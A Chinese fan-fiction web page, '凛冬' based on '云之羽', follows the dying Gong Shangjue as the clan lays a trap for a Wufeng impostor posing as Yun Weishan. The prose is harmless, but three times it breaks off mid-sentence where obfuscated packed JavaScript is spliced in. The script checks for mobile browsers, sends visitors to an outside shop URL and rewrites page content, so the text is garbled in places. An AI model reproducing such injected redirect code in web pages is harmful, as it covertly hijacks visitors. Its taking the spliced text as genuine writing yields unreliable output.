《[云之羽]凛冬》 1. 一·二 (一) “将这份文书也送去,问问角公子的意见。我写了些批注,但总觉得还欠些什么。” 初冬时节里旧尘山谷瘴雾浓稠,徵宫送来的安神香中多加了几味药材,熏得人唇齿喉舌俱是淡淡的苦味。 纸上新墨也是苦的。 金繁将抵到鼻尖的文书拿下来,按捺下嘴角抽搐,刚要酝酿起连日来已复述过无数遍的台词,便听到宫子羽头也不抬地续言:“我知道,我知道……但金陵钱庄的案子总算有了眉目,江湖都在等着宫门出面,我们总要办得体面些。” “宫门办事素来体面,但执刃办事可就……”金繁终于忍不住啧出声来。 端坐殿中主位之人这才举头,瞪起一双牛眼:“好你个金繁,才做回红玉侍几天,便这样与执刃说话了?” 又拿执刃的身份来压他。 金繁抱着刀,不满地撇了撇嘴:“作为你的侍卫,我自是不该多说。但作为你们的姐夫,紫商说了,一碗水要端平。” “紫商姐姐可没让你骂我。” “还不是你做事太不讲究!” “……你又说我?” “三天两头地去烦病人,你是真不知道宫尚角关门谢客就为了躲你?” 火炉讽刺般毕毕剥剥作响,惹得宫子羽心烦意乱地掷了笔。 他知道,他怎么不知道?宫尚角自深秋回到宫门便一直卧病,迄今已有月余。起先角宫侍卫也并未阻止羽宫的人一天三趟往返,大抵是他后来实在有些过分了。 “角公子到底患了什么病,竟到了要闭门不出的地步?”得知角宫那边下了逐客令,宫子羽如是问月长老。 月长老当时的表情同现在的金繁差不了几分:“当年角公子为骗过上官浅,曾在自身蚀月之时硬接了执刃一掌,其后又在与无锋大战时受了重创。虽有出云重莲续命,到底还是伤了根本,若这几年好生修养或能缓解,可偏偏……” 可偏偏,那时宫门甫经大战,百废待兴。偏偏宫子羽这新执刃上位匆忙,对宫门庶务一窍不通。偏偏宫尚角这人责任心太重,能力又太强…… 所以,即便宫尚角在病中并未完全放手诸事,也足以让宫门人像缺了主心骨般生出久违的不安之感,让长老们连日来忧虑深重,更让已在执刃之位上坐了四年的宫子羽日日如坐针毡。 宫子羽算过,这一个月来他去角宫的次数比从小到大加起来都多,几乎要将角宫的门槛石踏穿。可角宫的大门说闭就闭,而到了宫子羽不得不以执刃身份施压之时,宫远徵总能适时出现,带出宫尚角的墨迹口信,然后冷着脸请宫子羽离开。 ——徵宫主人如今二十一岁了,早过了可轻易欺哄的年纪,年初时又经长老院一致认定,成了宫门唯一一个破例免试通过三域试炼之人,便是宫子羽也要对他客客气气。 “远徵弟弟,我来探望角公子,又不是来害他。你们何必像防贼一样防着我?”遭遇阻拦的次数多了,使不出半点执刃淫威的宫子羽难免满腹牢骚。 明明这四年来商角徵羽四宫的关系比以往更为紧密,让宫子羽一度觉得宫门终究是一条心的。可每每起了分歧,宫紫商总是帮理不帮亲,而宫尚角与宫远徵则又成了一个鼻孔出气的宫二宫三,倒显得他宫子羽这个执刃势单力孤。 “我当然要防着!” 宫远徵那日未戴抹额,光洁的额头下拧着一个小疙瘩,目光中虽无往日那般针锋相对,却仍带了三分警惕:“我不防着,哥哥又要被你叫去外务。月长老可曾告诫过执刃,哥哥的身体已不适合在江湖上走动?” 闻听此言的宫子羽并不惊讶,反倒有些欣慰:这小孩,到底还是长大了,知道收敛了。 因为他听过月长老的原话。月长老说的是:“你若不想宫尚角竖着出去,躺着回来,便赶紧、立刻、马上断了这念想!” 在此之前,他从不知道月长老的嘴可以比宫远徵更毒。 “真有这么严重?”宫子羽怔怔望向去角宫帮他打探消息的宫紫商。 宫紫商难得没有一惊一乍,柳眉间却带着宫子羽只在宫门大战那日见过的忧虑重重:“我没见着。我带着锦商,到门前时被金复拦下了,说是角公子怕把病气过给孩子。” 宫锦商,宫紫商和金繁的女儿。 宫子羽抽了口凉气,仿佛宫紫商刚刚说了什么耸人听闻的话:“你带锦商去见宫尚角?!她犯了什么错,她才三岁!” 宫紫商不惯着宫子羽大惊小怪:“这有什么?角宫旁支有几个同龄的孩子,锦商一两岁时就常常过去玩。有时我和金繁实在抽不开身,宫尚角若在角宫,也会帮我们照看半日。不信,你问金繁。” 宫尚角?看孩子?这种事是真实发生过的吗?他这个执刃怎么一点都不知道…… 宫子羽顿时觉得,现在的宫门,真是越来越抽象了。 “可是,这次他不肯见我们……”宫紫商托着腮,将手肘支在凭几上,眼中的忧虑又深了几分。 * 似是一股来路不明的阴风,熏炉里的烟气丝丝缕缕全打在宫子羽脸上。 宫子羽回过神,看向身侧仍拈着那份文书的金繁:“锦商呢?” “……反正不在角宫。”金繁的回答带着三分狐疑、两分戒备。 “我没别的意思。”宫子羽嘟囔了一声,忽觉得自己这舅舅做得实在失职。 毕竟,他上次见宫锦商,好像还是中秋。 宫子羽刚想追问他们这位小外甥女是更喜欢自己还是宫尚角,便听得门口侍卫传报:角宫来人了。 随即有两个玄衣劲装的年轻人快步来到殿下,恭敬行礼。 是宫岚角与宫岸角姐弟,宫尚角近两年培养起来的新人。 宫子羽没见过他们几面,迟疑着是否应该寒暄,宫岚角却迅速表明了来意:“执刃,角公子请您过去一趟。” “——公子说,鱼上钩了。” · · · (二) 宫子羽有两点想不通。 他想不通,让自己仰视二十余年才堪堪望其项背的宫尚角怎么真会病成这样。他更想不通,病成这样的宫尚角怎么还能在第一时间收到谷外消息,反过来通知他这已自诩总揽万机的宫门执刃。 金复将房门打开时,宫子羽险些被熏了个跟头。 炉上正煎着药,整个屋子烟雾缭绕,也如山谷里的瘴气一般浓稠。墨池的池水则更像是在药罐子里沁过,混合着一丝若有若无的腥气,那股味道,即便掩住口鼻也遮挡不住。 ——难怪宫紫商和宫锦商会被拦在门外。 “别看了,池里也是药。”说话的人声音极低,几乎淹没在隆隆的沸煮声中。 宫子羽习惯性望向茶案方向,可是宫尚角不在那里。倒是宫远徵俛眉专注地盯着药炉,仿佛根本不曾注意到这房间里有人踏足。 宫远徵这是生气了,宫子羽暗暗地想。 可是宫远徵永远不会对他哥哥生气。他气得当是自己这不该来的“外人”。 ……什么外人!他宫子羽可是堂堂正正的宫门执刃! “执刃大人。”似是嫌他愣神太久,榻上的宫尚角又唤了一声。 宫子羽被叫得一个激灵,眼前已浮现出过往的一幕又一幕。 小时候,他很怕父亲黑着脸喊他大名,而近几年他最怕的便是宫尚角称呼他“执刃大人”。即便那语气还算温柔。 因为这两种称呼代表着同一个意思:接下来,他很可能要挨骂了。 那厢宫尚角正裹着一身银色狐裘,以一个堪称舒适的姿势倚在床头,看上去似乎心情不错。饶是如此,宫子羽定睛望向他时还是被吓了一跳。 不是因为他此刻面容憔悴,唇色苍白,而是…… 宫尚角何时变得这般消瘦了? “你近来可曾好好吃过饭?” 宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他把话说得很慢,能听出身上着实没什么力气。但即使缠绵病榻,角公子依然思路清晰。 宫尚角略带审视的目光让宫子羽一时不知道该说什么。难道要承认他这宫门执刃离了角宫的宫主便六神无主吗? 宫子羽挠了挠头,决定略过这一节:“金陵钱庄的事有了新线索,我……” “金陵钱庄的事……咳咳咳……不如先缓一缓……咳咳咳咳咳……” 宫子羽刚刚表明意图,便被宫尚角打断。只是单单要压过宫子羽的声线,似已让他耗尽了气力,忍不住剧烈呛咳起来。 宫远徵一个箭步冲过去,拨开宫子羽,将他哥哥揽进自己怀里。 宫子羽也有点慌了:“你的气息好乱!怎会这样……” 宫远徵一边为宫尚角拍背顺气,一边已红了眼眶:“哥哥这些年全靠月长老炼制的玄丹硬撑,可玄丹每用一次,效果便弱一分,药性只得越加越猛,侵入骨髓,便成了连我也解不了的毒,现在就算是出云重莲也无法让哥哥恢复……若非实在撑不住了,你当哥哥真想躺在这里么?” 连出云重莲都失去效用,连宫远徵都束手无策么……难怪月长老那日说话如此难听。 而宫远徵的话还未结束,他将矛头转向了始作俑者:“明知哥哥卧病,你倒好,一天天的什么琐事都来烦哥哥。当了四年执刃还是个草包,倒不如换给哥哥算了!” 这当是他多日来憋在心里的话,因而到底还是没忍住嘴毒。 宫子羽发觉他果然又挨骂了。不过此时此刻,他倒宁愿听宫尚角中气十足地骂他,也不愿见角宫主人像现在这般连说话都困难…… 床边的更漏又降了一格,屋中烟气升到上空,沿着紧闭的门窗边缘散了些去。 宫尚角终于不大咳了。 宫远徵将他哥哥重新安置在榻上,站起来挡住宫子羽的视线:“你出去,哥哥要服药了。” “远徵,叫执刃。” 宫尚角说话的声音又弱了几分。顺着宫远徵的肩头,宫子羽只能望见他胸前微弱的起伏。 宫子羽现在心里慌得很,也确实有些坐不住了:“好,尚角哥哥好好休息,其他的事情先缓一缓……” 然而宫尚角却很快再度将他打断:“执刃先去偏厅少坐。过一盏茶,将宫岚角和宫岸角也叫进来。” 2. 三·四 (三) 宫尚角重病闭门之事在江湖上已非秘闻。 事实上,关于宫尚角身体有恙的猜测在两三年前便已不胫而走。 因为,这几年宫二先生虽然还时时在江湖上走动,但大家的确不曾再见到他于任何场合与任何人交手。 江湖小报的传闻是:宫尚角在宫门与无锋一战中内力已失。 作为宫门执刃,宫子羽自然早早听过这传闻。但宫尚角从未提起,他便从来不问。 ——倒不是他不关心自家人,而是他知道角公子好面子,又隐隐觉察到这传闻可能是真。 只是,他一直以为宫尚角是单纯失了内力。毕竟中秋前后,宫尚角还像个没事人一样替宫门赴了几个帮派的邀约,塞北江南来回地跑。 而眼下…… 眼下,宫子羽可真有些傻眼。 “——你们与角公子相处最久,他的身体变成这样,你们便丝毫不知情么?” 角宫的偏厅里没有茶,只有四条浑身僵硬杵在那里的人。一个坐着,三个站着。 站着的是宫岚角和宫岸角姐弟,还有金复。而他们的执刃,脸上正挂着三分懊恼、七分痛惜。 宫岚角、宫岸角、金复三人面面相觑。执刃的问题他们不敢不答,却又难以启齿。 ——怎么可能不知情呢? 近两年,闻着风声来刺杀宫尚角的宫门仇敌被他们挡了一波又一波,其中的凶险,只有他们自己知道。 金复甚至几度跪求宫尚角别再外出,但他的主人总是拒绝得很明确:除了月长老,不要将他的身体状况告知任何人,尤其是徵公子和执刃。 天知道徵公子知道真相那日发了多大的火。金复还是第一次见那粉雕玉琢的小公子对他视若神明的兄长动了真怒。 而现在,轮到执刃了…… 最先开口的还是宫岚角。在宫门大战后崛起的新人中,她是能力最出众的一个,可能也是最不惧宫尚角的一个:“角公子说过,他不想告诉执刃,是因为执刃是一个心肠柔软、心地善良的性情中人。以执刃的性格,一旦知道了他的情况,做事定会束手束脚、乱了方寸,这于宫门来说不是件好事。” 宫岚角很会说话。她的话里有恭维,也有原委。 只是宫子羽听的既不是恭维也不是原委,他听得直冒冷汗:做事束手束脚,全然乱了方寸,这不正是他现在的样子么? 宫尚角看人可真准啊…… 宫子羽吐出口气,稳了稳心神:“角公子还说了什么?” 宫岚角偏了偏头,有些不明所以。 “——你们此番叫我过来,为的是什么?”宫子羽于是沉声解释,“角公子现下病得厉害,这些来龙去脉、细枝末节,就不必劳烦他来说了罢?” * 初冬天还算不得太冷,宫门里的人也是刚刚穿上冬衣。一盏茶的功夫,角宫主室里却又添了两盆炭火,烧得人从脚底燥到眉心。 宫子羽一进门便脱去了大氅,又从多宝阁的扇匣中抽出一柄折扇,这才感觉好过了些。 ——四年前,为对付宫唤羽,雪长老和金繁将内力同时注入他体内,在助他速成镜花三式的同时,贯通了他的奇经八脉。他那先天体寒之症自然也就不药而愈。 而今,这屋子里的畏寒之人早已不是他宫子羽。 “要扇便过来扇,别让哥哥沾了凉气。”宫远徵毫不遮掩对他这宫门执刃的嫌弃。 徵公子此刻又坐回茶案边,离炭火最是遥远,宫岚角和宫岸角也都在那里。宫子羽知道他们定然也是热的。 然而转头再望望仍裹在一团狐裘间的宫尚角,他终究还是乖乖放下折扇。 “那说正事吧。” 他搬了一把交椅坐到宫尚角对面,这才重新开口: “所以,魑魅魍魉的魉是两个人,点竹并不是无锋首领,而是一个傀儡。 三年前,点竹走投无路,因而广邀天下豪杰,欲揭露无锋最终机密,却在一夜之间莫名暴毙。当时有人曾在现场见过阿云,但那个‘阿云’使的既不是刀,也不是剑,而是峨嵋双刺,举止神态也与真正的阿云完全不同。我们那时便猜测,她应当是阿云的孪生姊妹,梨溪镇里的那位云家小姐。 今年中秋,角公子前往江南,赴雷家堡三年一度的火器大会,在雷家的火器典籍中意外发现了半卷无量流火的图纸。宫岸角秘密监视二当家雷陨,发现他果然与无锋的寒鸦勾连。而此时,又有人见到了那个‘阿云’。 一个月前,角公子返回宫门,将重病的消息散布到江湖中。而就在今天早上,角宫的暗哨在旧尘山谷五十里外的驿站认出了‘阿云’,和她在一起的正是那个寒鸦……” 宫子羽顿下片刻,做了最终总结:“所以,你们怀疑这个‘云为衫’便是魉,也即是无锋真正的首领之一。他们此番应是想趁角公子病中生事,为的恐怕还是无量流火。” 宫子羽停下来,定定望向宫尚角。 服过药后的角公子神色恹恹,但眉眼之中的笑意已在宫子羽说话间酝酿得很明显:“看来,你已都了解清楚了。” 然而宫子羽没有笑,他仍旧瞬也不瞬地盯着宫尚角:“是。但还有一点不够清楚。” “哪一点?” “我们的叙事中漏了一个人:三年前和今年中秋,发现‘阿云’的人到底是谁?” 宫子羽问得直白。他知道宫尚角正强打精神,故而实在不忍与他周旋。 炭火灼烧,在榻上人的颊间映出一抹病态的潮红,尔后溅起火星,将灰烬淋入墨池深渊。 宫尚角沉默了一会儿,口中轻轻吐出三个字,旋即惊得对面的宫远徵“腾”的站起来。 因他说得是,上官浅。 · · · (四) 宫尚角从来都不是一个心狠之人。 若非上官浅做事太决绝,若非她一定要带走无量流火,宫子羽相信,宫尚角会将她留下,或许还会认她做妻子,帮她手刃仇人。 毕竟,无锋也是宫门的仇人。 “其实我猜到你与上官浅还有联系。点竹虽死,但只要无锋还在,上官浅作为孤山派遗孤的使命便没有完成。她要复仇,必定要倚仗宫门。而角公子,可能是整个宫门中唯一还愿意相信她的人。” 说到此处,宫子羽忽忆起月长老曾说过的话:相信和愿意相信,是两回事。 “如果是我,我会相信阿云……”他自顾自喃喃作答,紧接着话锋一转,“但,角公子呢?” “哥哥可不是你!”替宫尚角作答的是宫远徵。 而角公子正垂着眼,低声轻咳,任熊熊炉火漫过眼帘。 宫子羽知趣地不再追问。 似是一个姿势躺得太久,宫尚角按着榻边香几,欲坐起身。宫子羽过去扶他,只觉得他周身冰凉,全然不似正常人的体温。 但还不待他关心一二,宫尚角已悠悠开口:“现下无锋已到了家门口,执刃打算如何做呢?” 宫子羽只好坐回那把交椅:“宫门最重礼仪。既然客人已到了家门口,我们岂有冷落之理。” “开门迎客?” “瓮中捉鳖!” 目光相会,一个沉静如水,一个炯然如炬。他们知道二人是想到了一起。 “——那‘云为衫’既已现身,想来不日便会敲响宫门的大门。届时,我们就当她是阿云,不但要请她入谷,还要让她做我宫子羽名正言顺的执刃夫人。” 云为衫失踪四年,宫子羽也等了她四年。这四年里,他时时念起她,可有时又突然记不清她的模样。所以他也很好奇,另一个“云为衫”真会和他的阿云长得一模一样么? 只是宫子羽四年拒绝娶亲,宫门里的老人为执刃的终身大事急得像热锅上的蚂蚁,一有机会就要跳出来数落一番。宫门人人都知道,前些时日,宫子羽差点为此与长老院翻了脸。 因而宫远徵听了他的计划,也不免小声揶揄:“我看执刃是正好找个机会搪塞长老们吧?” 宫子羽被戳中,当即毫不吝惜地予以还击,他当然知道宫远徵最怕什么:“远徵弟弟也到了成婚的年纪,此间事了,不如我让长老们为弟弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所以宫子羽提了:“那……你呢?” “有我在,绝不会让哥受到伤害,就算是魉也不行!”哥哥的事,是宫远徵心里永远的第一顺位。 宫子羽对此深信不疑,但这并不是他所期待之言:“你是徵宫的宫主,有自己的责任,你不可能时时刻刻守在你哥哥身边。” 话落之际,他料到了宫远徵少年心性下的愤愤不平,却未料到宫尚角突如其来的吟吟笑意。 那笑意顺着眉眼流出,划过侧脸弧线,噙在唇边。 ——宫尚角实际上并非不苟言笑之人,这一点宫子羽也是近几年才发现。但大多数时候,角宫的宫主仍自持着威严,即便在笑,也总是笑得轻浅。然就是这或在眼角、或在唇边的浅淡笑意,已足以告诉宫子羽,他又做了一件令角公子满意的事。 因为,他刚刚站在宫门执刃立场上说的话,正是宫尚角所期待之言。 “放心吧,我这里有金复和宫岸角在。”笑意淡去,宫尚角道出了一个令宫子羽意外的名字。 ——宫岸角? 宫子羽顺着话锋将目光投向那青年。宫尚角不提,他都要忘了这屋子里还有这样一号人。在宫子羽见到他为数不多的几次里,这个角宫旁支青年总是站在他姐姐旁边,沉默得像一道影子。 而现在,宫岸角依然沉默着。他只是松了手中佩刀,开始在胸前比划着什么,接着指指宫尚角,又转而指了指宫子羽。 “他说,他会护我周全,请执刃放心。”宫尚角为他做释。 宫子羽这才明白他为何从未见过这青年开口。 看出宫子羽的疑惑,宫尚角又郑重补叙:“岸角如今是整个角宫武力最强之人,他和岚角早已是我的左膀右臂,有他们在,执刃尽可安心。” “……最?”宫子羽敏锐地捕捉着关键词。 “最。”宫尚角的回答毫不迟疑。 “好。角公子选的人,我信。”宫子羽点点头,终于第三度站起身来,“我真的该走了,但走之前,我还有个要求。” 宫尚角没有说话,只是微微扬首,静静地听。 “——你就好好留在角宫修养,宫门任何事情,都不需要你来操心。我会常来看你,你也可以派人遣我,我随叫随到!” 3. 五·六 (五) 【注:本文的雪公子就是废了葬雪心经的雪重子。 剧中宫子羽误闯雪宫是12年前,那时雪重子就是成年男子,那么两人肯定得相差十多岁。月公子自己说过他比宫唤羽大得多,小说中宫唤羽28,那么月公子至少33,不然就不是“大得多”。而雪月同龄或雪>月。 所以到本文时期,雪月两位的年龄下限是37(只是驻颜有术),算商角徵羽四人同辈不同族的大兄长。】 谯楼上遥遥起了一通更鼓。凝神东望,又是满月。 宫岸角刚刚将角宫巡了一圈,乍见银光倾泻于巍峨殿前,也不免驻足观赏。 ——日暮时执刃走得虽急,却仍在屋外与他们细细交代了诸多角宫防务之事,称之为“羽宫职责所在”。于是,尽管无锋还未到,宫岸角已与金复定下两班值守,为的是确保角公子跟前时时有人照应。 不过,今夜角公子的身边尚有人在。 宫远徵将主室的大门推开时,月辉正落入当间,将他照得宛如一尊银像。只是,较之宁静月色,这银像显得太过躁动,推门的动作又太过慌张。 宫岸角站在廊前,将双手平摊,掌心由下向上翻转:【发生了什么?】 “你进来看着,我要去趟医馆。哥哥的体温低得吓人,我得再去配些药来。”此刻的徵公子显然无心赏月,他把仓惶忧虑全写在脸上。 【我去?】 宫远徵却断然摇了摇头:“药方中有几味禁药,我若不去,你是拿不来的。” 他不再多言,将宫岸角推进门,便如一阵风般绝裾而去。 禁药么…… 角公子沉疴日笃,徵公子将药方换了一副又一副。宫岸角曾亲眼见过这位宫门天才自毒又自医的本领,但这一次,角公子坚决不允,甚至不惜立了重誓:徵公子若敢染指他身上的毒,他便此生再不与他相见。 是以,徵公子虽急得发疯,也只得缓缓地医,慢慢地试。 宫岸角无声吐出口气。唯恐惊扰榻上之人,他没有上前,只沿着墨池漫无目的地踱着步子。 主室里闷得如同熏药的蒸笼,对宫岸角这般内功精深之人而言更是炙热难当。但就算再热,也没人敢从这屋子里撤去哪怕一只火盆—— 角公子连日来不停地失温,每个靠近他的人仿佛都能看到,生命力正如游丝般从他体内加剧流逝。今日与执刃相谈那一时,已是他这些天里最好的状态。 得亏执刃走得急,似也发觉他再多留一刻,角公子便再难保持清醒…… 宫岸角怔怔望着墨池里的投影,隔了许久,才发现榻上的人不知何时已睁开眼,正静静地注视着自己。 “你在叹气。”他看到他的口型。 随即那面如金纸的人自己也叹了口气:“去开门吧,有人在敲门。” * “宫子羽这大骗子,只催我赶紧送,也没说我不该这时候来呀!” 来人将装着寒池雪莲的锦盒交到宫岸角手里,又特意在炉边烤去一身风雪,这才快步走向榻边:“今日你派人来后山,月公子也与我说了你的情况,我还道是他夸张。可现在看……” 那眉心一点朱砂的蓝衣人皱着眉,发出一刻之内这屋子里的第三声叹息。 “惊动雪公子亲自跑一趟,抱歉。”宫尚角扯动嘴角,似是连笑也失了力气。 雪公子几乎将白眼翻到天上:“你抱什么歉?你这样子,我们看了才要抱歉!既然计划好了下一回合,你就打算用这副身体去迎接无锋么?” “该交代的事我已交代,相信就算没有我……” “别说胡话!” 雪公子轻声打断宫尚角,不由分说将他从榻上扶起,接着伸手抚上他的后背。 “雪公子……” “别说话,听我说:我现下输给你的内功来自雪宫的内门秘法‘溯雪绝’。这本是唯有雪宫之主才可修炼的不传之秘,但我刚刚已去请示了雪长老,现在便将这功法传授与你。你的身体已近油尽灯枯,承受不住太强的功力,我只能先用极少的内力为你护住心脉,至于修习一事还要靠你自己……可惜,即使你练成这套功法,也只能延缓体内剧毒侵体。我恐怕也救不了你的命,抱歉……” 雪公子收了功,托住宫尚角在骤然刺激之下战栗的身体。一旁的宫岸角连忙也取了帕子,替角公子拭去额上的涔涔冷汗。 “切记,功成之前,不要与任何人动武。否则不但你会暴毙而亡,你那宝贝弟弟也定会去一把火烧了我的雪宫。雪氏一族本就人丁稀少,我可不想就此灭族!” 雪公子匆匆地来又匆匆地去,宫远徵返回时,只看到宫尚角已坐起身,脸色虽仍旧苍白,却也有了三分活气。 “哥……”宫远徵的脸上似喜似悲,明灭不定。 随即他慌乱地摇了摇头,抖抖提在手里的药包:“我这就煎药,哥哥若困了就先睡一会儿,好了我叫你。” “远徵,药别熬了,过来坐吧。”宫尚角的语声也轻快了些许,一边说着,一边朝宫远徵招了招手。 宫远徵迟疑地走过去,迟疑地坐在榻边:“哥你……怎么了?” “近来夜夜守着我,辛苦你了。回徵宫去好好睡一觉吧。”宫尚角棱角分明的脸上映着和煦的笑意。 宫远徵看得有些痴了。他都记不清自己有多久没见过哥哥这样笑了。 年初时,他得知了哥哥的病。那好像是他第一次朝哥哥发火,而他的哥哥则一言不发承受了他的怒气,转而在第二日说服长老院免试传授他雪月花九式刀法,并在一个月内将其中的全部关窍悉心教与他。 那架势像极了四年前哥哥逼宫子羽速通三域试炼,承担执刃责任。他的哥哥就像是在做着什么万全准备,生怕速度不够快,生怕做得不够好。 宫远徵想假装不知情,可他做不到。他知道他的哥哥心下装着一把沙漏,而现在,那斗中的沙子已所剩无几。 所以他才迅速为角宫培养了接班人。所以他才要在这时引无锋入局。他已没有时间再等了。 凛冬将至,可能是他挨不过的刺骨冰寒…… 宫远徵的泪“唰”得落下来。他抱住哥哥,任大颗大颗的泪滴连成串滚入他哥哥的衣襟,再大把大把淌进他哥哥的胸膛。 宫尚角当然感受到了胸口处的一片湿热,只是弟弟将他裹得那样紧,他无力挣脱,笑得着实有些无奈:“远徵,你再不松手,我就真要晕过去了……” 他拍着弟弟的手臂,将刚才发生的事娓娓说与他听。 宫远徵终于将手松开,从他怀里探出半只脑袋:“哥,你说的是真的?” 一瞬间,宫尚角仿佛又回到了那一年,七岁的宫远徵从柱后探出头,怯生生地看着他,生怕他赶他走,生怕他不喜欢他。 “当然是真的。”宫尚角郑重地点了点头,“你还怕我骗你不成?” 宫远徵轻轻地闭了闭眼:“我当然怕!我怕哥哥是回光返照,我怕哥哥是在赶我走,我……” 他忽而自行镇定下来,坐起身抹去满脸泪痕,自嘲般地笑了笑:“罢了!我这是怎么了,这么大的人,还要哥哥来哄……” 宫尚角却忽然收了笑,极认真地凝视着那刚刚还哭得梨花带雨的人儿:“远徵,我或许没有办法一直陪着你,但哥哥答应你,我会尽全力、好好地活下去。所以别害怕,好吗?” * 夜近中宵,堂前圆月渐渐西沉,玄衣青年抱着刀坐于廊下,终于看见徵公子从屋内走了出来。 “金复呢?”他看到徵公子问。 【下半夜。快了。】 徵公子点点头:“我回徵宫,明日再来。等金复来了,你也早些休息吧。” · · · (六) 宫紫商将宫尚角从上到下认真打量了一遍,又从左到右仔细打量了一圈,接着咂咂嘴:“确实瘦了不少!可我看你这状态,倒比宫子羽那家伙说的好些?——至少不是什么吊着半条命,有出气,没进气。” 今日旧尘山谷里难得放晴,角宫的主室也久违地开了扇窗。冬日暖阳透过菱花槛窗洒进来,将角宫主人那张久失血色的脸也映得有了些精气。 宫紫商说话时表情浮夸,生怕宫尚角不知道她是在说笑逗他。 而那厢则配合地将脸一沉,作佯怒状:“他是这么说我的?” “别!你可少用你那张死鱼脸看人,别到时候真……”宫紫商忙着回怼,嘴上便忘了把门,话出口才发现实在是说了句不该提的,当即有些懊悔地咧了咧嘴。 ——这几日宫门大事将临,上上下下都在严阵以待。她整宿整宿不见金繁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240020|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,追去羽宫盘问,宫子羽便与她说了他们的计划,连带着交代了宫尚角的事: “……后来我们又去过月长老那里。月长老交了底,说角公子可能很难撑过这个冬天了……” 若不是宫子羽话尾的哽塞,若不是连金繁也一脸凝重,她简直要怀疑宫门的执刃是在耍她。 明明几个月前还看起来好好的,这人怎么说不行就不行了呢?…… 宫尚角对宫紫商的反应有些哭笑不得,仰着头幽幽地叹了口气:“你们才是啊……能不能别一个个都用那种眼神看我,我还没死呢。” “嘘——”宫紫商连忙夸张地做了噤声的手势,“从现在起,我们都不要再提这个字!” “好,宫二谨遵大小姐之命。”宫尚角带着三分调侃,把话答得轻飘飘。 他顿了顿,方又正色:“不过,大小姐也该听我一次。” 茶案上的小火炉在背景音中咕嘟作响。宫紫商过去掀开盖子,研究一番,只看出里面加了人参和石斛。但这茶一闻上去就知道苦得很,应该另有其他的药材,显然是为宫尚角准备的。 她取了只茶碗,从壶中倒出琥珀色的茶汤,端着走回榻前。 “什么意思?”她将那只月白色的瓷碗递过去。 宫尚角道了谢接过,却没有喝:“我前日差人去商宫,是怎么说的?” 宫紫商满眼无辜:“不就是让我们这段时间多加小心……哦对了,你还说不要将锦商带去羽宫。” “我是让紫商姐姐最近少出门!”宫尚角显得一脸无奈。 “——我听说执刃已将‘云为衫’接去羽宫了,这个时候,你来我这里做什么?” 这人,病成这样,还是一点情面也不讲。 宫紫商翻着白眼,一屁股坐在他身边:“你都说了,我是你姐姐!姐姐来探望生病的弟弟,难道不应该么?” 她说罢便梗起半条白颈,目光坚毅,表情强硬。 宫尚角终于被她逗笑了。 他与宫紫商只差半岁,小时候未曾喊过她一声姐姐。近年来倒是叫得多些,但也仅出于尊重,谁能想到她这会儿对他端起了姐姐的架子。 但只一瞬,宫尚角旋即又将笑容敛去,问道:“你见着那个‘云为衫’了么?” 宫紫商对他沉迷公事实在不满,可又无法不作答:“见了。人是真像,但那个眼神……嘶……” 她回想起“云为衫”踏入羽宫门槛前那冰冷的一瞥,忍不住打了个摆子。 宫尚角了然点点头:“远徵说要去试试她。多年前点竹身中剧毒时曾以百草萃解毒,想来百草萃的配方在无锋高层已非秘密。这个‘云为衫’有没有服用过百草萃,一探便知。” “无锋女子的手段你是领教过的,远徵弟弟心性单纯,别被骗了才好。” “那只能盼望我们的执刃大人脑子还清醒,别一见了云为衫的脸,便丢了魂。” “你近来对他们二人倒是格外放心?” “一个是执刃,一个是徵宫宫主,早该是能独当一面的大人了。我能帮他们一时,终究护不了他们一世……” “你这两个弟弟可未必这么想!”宫紫商决然打断他,“尤其是宫远徵,你若有事,他只怕要掀了整个宫门的屋顶!” 宫尚角却不以为然地摇了摇头,终于为弟弟执言发声:“他不会的。你们都道他疯,可他实际上从来不会失了理智。” “那么有把握?” “因为他是我弟弟。” 很好,又是被这兄弟情深创飞的一天。 宫紫商哀叹了一声:“那好吧。既然你这么信你弟弟,就赶紧把药喝了。” 她说着,指了指已被宫尚角安置在案几上的茶碗。 “……药?”宫尚角难得露了半分吃惊之色。 宫紫商不紧不慢地解释:“听闻你几日来都没怎么好好服药。把药加在茶里,为的就是让你别那么抗拒。远徵弟弟可是交代了任务给我,让我一定看着你喝下去。” 窗外忽起了一阵凉风。 风将日光掩去,尔后卷着料峭轻寒漫过窗棂,撩起宫紫商的发丝,也惹得榻上人止不住地一阵咳逆。 宫紫商忙起身去将窗户关上,顺手拂去眼角的潮湿,这才回头笑道:“快趁热喝吧,别让我难做,也别浪费了你弟弟一片苦心。” 4. 七·八 (七) “阿云,这是最后一剂解药,服下后便没事了。”宫子羽将托盘放到案上,舀起半勺汤药细心地吹了吹,随后送到云为衫唇边。 云为衫皓齿轻启,言笑晏晏:“公子,我已好得差不多了,这药还是我自己喝吧。” 宫子羽也不推拒,任由对方接了药碗,尔后便支颐坐在她对面。他的目光看起来专注又深情,可实际上心思早已飘去他处—— 宫远徵的试毒没有成功,或者说是太过成功。可怜的宫三公子又一次被迫给“嫂嫂”道了歉,临走时看宫子羽的眼神几乎能冒出火。 宫子羽这几日也在换着法地试探,但这个云为衫总能对答如流,滴水不漏,甚至连他们私下里讲过的小话都如数家珍。 连日下来,宫子羽自己也有点犯迷糊,差点就信了她是真的阿云。 但总归,眼神是骗不了人的。宫岚角告诉他,在他看不见的地方,她看他的眼神冷得像冰。 